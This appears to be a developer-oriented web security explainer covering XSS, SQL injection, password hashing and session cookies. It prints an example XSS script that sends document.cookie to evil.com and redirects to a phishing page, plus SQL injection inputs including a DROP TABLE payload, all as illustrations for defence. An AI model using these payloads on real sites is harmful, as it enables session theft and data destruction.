Security & Privacy

Web Security Basics Devs Must Know (2026)

Most web attacks are automated noise. Developers can silence 90% of it by not being lazy. Here’s what you’re probably missing.

A stylized lock icon superimposed on a lines of code.

Key Takeaways

  • Automated attacks target known vulnerabilities, making basic security fixes crucial.
  • Output encoding and Content Security Policies (CSP) are vital defenses against XSS.
  • Parameterized queries are essential to prevent SQL injection; never use string concatenation for database queries.
  • Use slow, strong hashing algorithms like bcrypt for password storage, not MD5 or SHA1.
  • Secure session management includes strong secrets, HTTPS, HttpOnly, and SameSite cookie attributes.

Ninety percent. That’s how many web application attacks are automated. Ninety percent of the noise, the bots, the script kiddies hitting known holes. And developers, in their infinite wisdom, seem determined to leave those holes wide open. It’s baffling. It’s infuriating. It’s also entirely preventable.

Who are these attackers? Script kiddies, sure. But also bots, endlessly scraping or spamming. Then there are the more determined souls looking for SQL injection targets or setting up phishing schemes through your domain. What do they want? User data – your users’ emails, passwords, their personally identifiable information. Or maybe they just want your server for their botnet, to plaster your IP with spam, or to redirect unsuspecting visitors to a malicious site. The motivations are varied, but the methods are depressingly consistent.

And here’s the kicker: most of these attacks are directed at known vulnerabilities. Flaws that have been documented, patched, and discussed for years. Yet, here we are, in 2026, and developers are still making the same elementary mistakes.

The Humble <script> Tag: Still a Problem?

Remember Cross-Site Scripting (XSS)? It’s not a relic of the early internet. It’s alive and well, and it’s embarrassingly easy to implement. A classic example involves rendering user input directly. Imagine an attacker posting a comment with this little gem:

<script>
// Steal cookies/session tokens
fetch('https://evil.com/steal?cookie=' + document.cookie);
// Or redirect users
window.location = 'https://evil.com/phishing';
</script>

When another user views that page, the script executes in their browser. Their cookies, their session tokens – gone. Or worse, they’re redirected to a phishing site. The provided code shows the dangerous way of rendering raw user input, which is like leaving your front door wide open with a neon sign that says ‘Free Valuables Inside.’

Safeguards? Output encoding is your first line of defense. Functions that escape special HTML characters (<, >, &, ", ') are your friend. Template engines like EJS, React, and Vue handle this automatically, which is one reason they’re popular. But even then, a Content Security Policy (CSP) offers a powerful secondary layer. It tells the browser what’s allowed – and what’s not. If an XSS vulnerability somehow slips through, CSP can block the malicious script from executing. For APIs returning JSON, setting the Content-Type header to application/json is a simple but effective way to prevent browsers from interpreting the response as HTML.

SQL Injection: The Gift That Keeps on Giving

Another oldie but goodie: SQL injection. String concatenation for database queries is a cardinal sin. You’re essentially giving attackers a direct line to your database. A malicious input like admin' OR '1'='1' -- can bypass authentication entirely. Or, if they’re feeling particularly destructive, they might unleash '; DROP TABLE users; --. The data itself isn’t just at risk; your entire database structure could be compromised.

The provided code examples starkly contrast the danger of string concatenation with the safety of parameterized queries. The latter treats input as data, not executable code, effectively neutralizing injection attacks.

The solution is brutally simple: parameterized queries or prepared statements. The database handles the escaping, ensuring user input is treated as data, not commands. ORMs like Sequelize or libraries like better-sqlite3 often provide this safety by default. Add input validation as a defense-in-depth measure – check if an ID conforms to the expected format before even hitting the database. It’s not about trusting the database; it’s about not trusting user input.

Password Storage: Are You Still Using MD5?

If you’re still storing passwords using MD5 or SHA1, just stop. Seriously. These algorithms are so fast that brute-forcing them is trivial. Billions of hashes per second are achievable. Password hashing isn’t about making it hard for an attacker to find the hash; it’s about making it prohibitively expensive to crack it.

Purposefully slow, cryptographic hash functions like bcrypt, Argon2, or scrypt are the answer. They use a salt (a random string) and are designed to be computationally intensive, taking around 100ms per hash. This makes brute-force attacks laughably slow – perhaps 20,000 hashes per second at best. It’s the difference between cracking a safe in minutes versus cracking it in geological time.

Session Management: The Unsung Hero (or Villain)

Session management is another area where developers often drop the ball. A weak secret, cookies sent over HTTP, or httpOnly set to false? You might as well email your user credentials to every attacker on the planet. The secret needs to be cryptographically random. Cookies should only be sent over HTTPS (secure: true). And critically


🧬 Related Insights

Written by
Open Source Beat Editorial Team

Curated insights, explainers, and analysis from the editorial team.

Worth sharing?

Get the best Open Source stories of the week in your inbox — no noise, no spam.

Originally reported by Dev.to

Stay in the loop

The week's most important stories from Open Source Beat, delivered once a week.